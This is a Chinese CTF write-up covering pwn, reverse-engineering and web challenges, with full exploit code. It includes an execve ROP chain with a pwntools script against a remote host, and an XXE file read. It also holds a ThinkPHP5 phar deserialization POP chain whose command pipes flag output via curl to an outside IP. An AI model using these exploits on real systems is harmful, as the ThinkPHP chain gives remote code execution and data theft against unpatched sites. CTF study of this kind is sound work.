pwn

three

静态编译文件，开了NX，

有一个3字节的shellcode可以操作；

在Tell me的时候写入ropchain，再执行shellcode跳转到0x80f6cc0执行ropchain

exp:

#!/usr/bin/env python2
# execve generated by ROPgadget


from struct import pack


# Padding goes here
p = ''


p += pack('<I', 0x08072f8b) # pop edx ; ret
p += pack('<I', 0x080f5000) # @ .data
p += pack('<I', 0x080c11e6) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x080573e5) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08072f8b) # pop edx ; ret
p += pack('<I', 0x080f5004) # @ .data + 4
p += pack('<I', 0x080c11e6) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x080573e5) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08072f8b) # pop edx ; ret
p += pack('<I', 0x080f5008) # @ .data + 8
p += pack('<I', 0x080569a0) # xor eax, eax ; ret
p += pack('<I', 0x080573e5) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481d9) # pop ebx ; ret
p += pack('<I', 0x080f5000) # @ .data
p += pack('<I', 0x08072fb2) # pop ecx ; pop ebx ; ret
p += pack('<I', 0x080f5008) # @ .data + 8
p += pack('<I', 0x080f5000) # padding without overwrite ebx
p += pack('<I', 0x08072f8b) # pop edx ; ret
p += pack('<I', 0x080f5008) # @ .data + 8
p += pack('<I', 0x080569a0) # xor eax, eax ; ret
p += pack('<I', 0x0808041a) # inc eax ; ret
p += pack('<I', 0x0808041a) # inc eax ; ret
p += pack('<I', 0x0808041a) # inc eax ; ret
p += pack('<I', 0x0808041a) # inc eax ; ret
p += pack('<I', 0x0808041a) # inc eax ; ret
p += pack('<I', 0x0808041a) # inc eax ; ret
p += pack('<I', 0x0808041a) # inc eax ; ret
p += pack('<I', 0x0808041a) # inc eax ; ret
p += pack('<I', 0x0808041a) # inc eax ; ret
p += pack('<I', 0x0808041a) # inc eax ; ret
p += pack('<I', 0x0808041a) # inc eax ; ret
p += pack('<I', 0x08049903) # int 0x80


from pwn import *
context.log_level = 'debug'
# io = process('./pwn')
io = remote("47.104.190.38","12001")


sd = lambda s:io.send(s)
sl = lambda s:io.sendline(s)
rc = lambda s:io.recv(s)
ru = lambda s:io.recvuntil(s)
sda = lambda a,s:io.sendafter(a,s)
sla = lambda a,s:io.sendlineafter(a,s)


ru("index:\n")
sl('0')
ru("much!\n")
sl("\x89\xcc\xc3")
ru("size:\n")
sl(str(0x200))
ru("me:\n")
# gdb.attach(io,"b *0x8048C50")
sl(p)


io.interactive()

re

xx

分三步加密，先xxtea，再换顺序，最后迭代亦或后去check，因为数据不多所以最后一步亦或手撕了出来，换回顺序写个xxtea的解密

#coding=utf8
import struct

message = '\xbc\xa5\xce\x40\xf4\xb2\xb2\xe7\xa9\x12\x9d\x12\xae\x10\xc8\x5b\x3d\xd7\x06\x1d\xdc\x70\xf8\xdc'


key = "flag\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  
data = 0x9E3779B9 
  
def _long2str(v, w):  
    n = (len(v) - 1) << 2  
    if w:  
        m = v[-1]  
        if (m < n - 3) or (m > n): return ''  
        n = m  
    s = struct.pack('<%iL' % len(v), *v)  
    return s[0:n] if w else s  
  
def _str2long(s, w):  
    n = len(s)  
    m = (4 - (n & 3) & 3) + n  
    s = s.ljust(m, "\x00")  
    v = list(struct.unpack('<%iL' % (m >> 2), s))  
    if w: v.append(n)  
    return v   
  
def decrypt(str, key):  
    if str == '': return str  
    v = _str2long(str, False)  
    k = _str2long(key.ljust(16, "\x00"), False)  
    n = len(v) - 1  
    z = v[n]  
    y = v[0]  
    q = 6 + 52 // (n + 1)  
    sum = (q * data) & 0xffffffff  
    while (sum != 0):  
        e = sum >> 2 & 3  
        for p in xrange(n, 0, -1):  
            z = v[p - 1]  
            v[p] = (v[p] - ((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4) ^ (sum ^ y) + (k[p & 3 ^ e] ^ z))) & 0xffffffff  
            y = v[p]  
        z = v[n]  
        v[0] = (v[0] - ((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4) ^ (sum ^ y) + (k[0 & 3 ^ e] ^ z))) & 0xffffffff  
        y = v[0]  
        sum = (sum - data) & 0xffffffff  
    return _long2str(v, True)  
  
if __name__ == "__main__":
    flag = decrypt(message,key)

print flag

easyRE

通过字符定位到主逻辑，两次解密可以得到 Info:The first four chars are flag 和 https://bbs.pediy.com/thread-254172.htm，这是个关于主动防御的看雪文章，然而并没有发现flag，emmmm主动防御，其实是在误导我们；真正的flag在sub_400D35位置，结合info得到key后，简单的亦或解密出来即可

data = [0x40, 0x35, 0x20, 0x56, 0x5D, 0x18, 0x22, 0x45, 0x17, 0x2F, 0x24, 0x6E, 0x62, 0x3C, 0x27, 0x54, 0x48, 0x6C, 0x24, 0x6E, 0x72, 0x3C, 0x32, 0x45,0x5B]
key = [38,89,65,49]
flag = ""
for j in range(len(data)):
  flag += chr(data[j] ^ key[j % 4])
print flag

childRE

UnDecorateSymbolName 是c++的去函数修饰的函数，写个脚本自己测试可以得到31函数名为?My_Aut0_PWN@ROPxx@@AAEPADPAE@Z，

但是前面还有一个调换了顺序，改回来后可以得到正确的输入Z0@tRAEyuP@xAAA?M_A0_WNPx@@EPDP，md5一下

flag:flag{63b148e750fed3a33419168ac58083f5}

cacl

认真分析可以发现程序实现了自己的一套大整数运算，有加、减、乘、除和次方；最后结果为0即能得到flag

前面一堆计算都没用，后面程序计算了下面两个数：

a = (x1+x2)^3 - 3x1x2^2 - 3x2x1^2

b = (x3 + 4)^3 - 12x3^2 - 48x3-22

化简一下得到：a = x1^3 + x2^3 , b = x3^3 + 42

最后程序判断结果： a == b，https://xw.qq.com/cmsid/20190906A0NZO5

得到flag: 951e27be2b2f10b7fa22a6dc8f4682bd

web

ticket_system

利用postXML去读源文件

把源文件和readflag文件读下来以后可以分析出，攻击过程是上传一个可执行的php，通过thinkphp5的pop链和phar去触发反序列化漏洞

readflag文件和*ctf的一模一样，直接拿当初的脚本就行了

<?php
$descriptorspec = array(
    0 => array("pipe", "r"),
    1 => array("pipe", "w"),
    2 => array("file", "/tmp/error-output.txt", "a")
);


$process = proc_open('/readflag', $descriptorspec, $pipes, $cwd, $env);


if (is_resource($process)) {
    $question = fread($pipes[1],1024);
    $question = fread($pipes[1],1024);
    $question = trim($question);
    echo $question;
    eval('$result = '.$question.';');
    fwrite($pipes[0], $result);
    fclose($pipes[0]);


    $flag = fread($pipes[1],1024);
    $flag = fread($pipes[1],1024);
    $flag = fread($pipes[1],1024);
    echo $flag;


    fclose($pipes[1]);
    
    $return_value = proc_close($process);


    echo $return_value;
}
?>

上传过去以后拿微笑师傅的pop链打过去，本地监听就行

<?php
namespace think\process\pipes {
    class Windows
    {
        private $files;
        public function __construct($files)
        {
            $this->files = array($files);
        }
    }
}


namespace think\model\concern {
    trait Conversion
    {
        protected $append = array("Smi1e" => "1");
    }


    trait Attribute
    {
        private $data;
        private $withAttr = array("Smi1e" => "system");


        public function get($system)
        {
            $this->data = array("Smi1e" => "$system");
        }
    }
}
namespace think {
    abstract class Model
    {
        use model\concern\Attribute;
        use model\concern\Conversion;
    }
}


namespace think\model{
    use think\Model;
    class Pivot extends Model
    {
        public function __construct($system)
        {
            $this->get($system);
        }
    }
}


namespace {
    $Conver = new think\model\Pivot("curl http://134.175.34.73:2334/ -d `php /tmp/uploads/0cc175b9c0f1b6a831c399e269772661/20191111/6582f47189690b9acfc01cc069af8ea8.xml|tac|tr -d \"\\n\"|sed 's/ //g'`;");
    $payload = new think\process\pipes\Windows($Conver);
    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置stub
    $phar->setMetadata($payload); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
    echo urlencode(serialize($payload));
}